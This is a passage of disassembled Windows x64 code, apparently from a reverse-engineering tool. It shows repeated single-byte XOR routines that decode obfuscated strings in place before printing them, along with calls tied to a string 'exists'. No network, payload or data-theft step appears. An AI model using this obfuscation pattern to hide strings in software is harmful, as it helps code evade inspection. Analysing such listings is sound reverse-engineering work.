xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
xor byte [rax + 0x3e], r8b
xor byte [rax + 0x3f], r8b
xor byte [rax + 0x40], r8b
xor byte [rax + 0x41], r8b
xor byte [rax + 0x42], r8b
xor byte [rax + 0x43], r8b
xor byte [rax + 0x44], r8b
xor byte [rax + 0x45], r8b
xor byte [rax + 0x46], r8b
xor byte [rax + 0x47], r8b
xor byte [rax + 0x48], r8b
xor byte [rax + 0x49], r8b
xor byte [rax + 0x4a], r8b
xor byte [rax + 0x4b], r8b
xor byte [rax + 0x4c], r8b
xor byte [rax + 0x4d], r8b
xor byte [rax + 0x4e], r8b
xor byte [rax + 0x4f], r8b
xor byte [rax + 0x50], r8b
xor byte [rax + 0x51], r8b
mov byte [rax + 0x52], 0
call fcn.1400040a0
lea rdx, [0x140004280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140050710
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x300]
call fcn.140055d30
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
mov byte [rax + 0xe], 0
call fcn.1400040a0
lea rdx, [0x140004280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140050710
nop
call fcn.140004620
nop
mov byte [rdx + 0x45], 0
mov rcx, r10
call fcn.1400040a0
lea rdx, [0x140004280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140050710
nop
call fcn.140004620
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x660]
lea rcx, str.exists
call fcn.1400061e0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x90]
call fcn.140056fa0
lea rdx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
xor byte [rax + 0x3e], r8b
xor byte [rax + 0x3f], r8b
xor byte [rax + 0x40], r8b
xor byte [rax + 0x41], r8b
xor byte [rax + 0x42], r8b
xor byte [rax + 0x43], r8b
xor byte [rax + 0x44], r8b
xor byte [rax + 0x45], r8b
xor byte [rax + 0x46], r8b
xor byte [rax + 0x47], r8b
xor byte [rax + 0x48], r8b
xor byte [rax + 0x49], r8b
xor byte [rax + 0x4a], r8b
mov byte [rax + 0x4b], 0
call fcn.1400040a0
call fcn.140050710
nop
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x660]
lea rcx, str.exists
call fcn.1400061e0
nop
call fcn.140004620
int3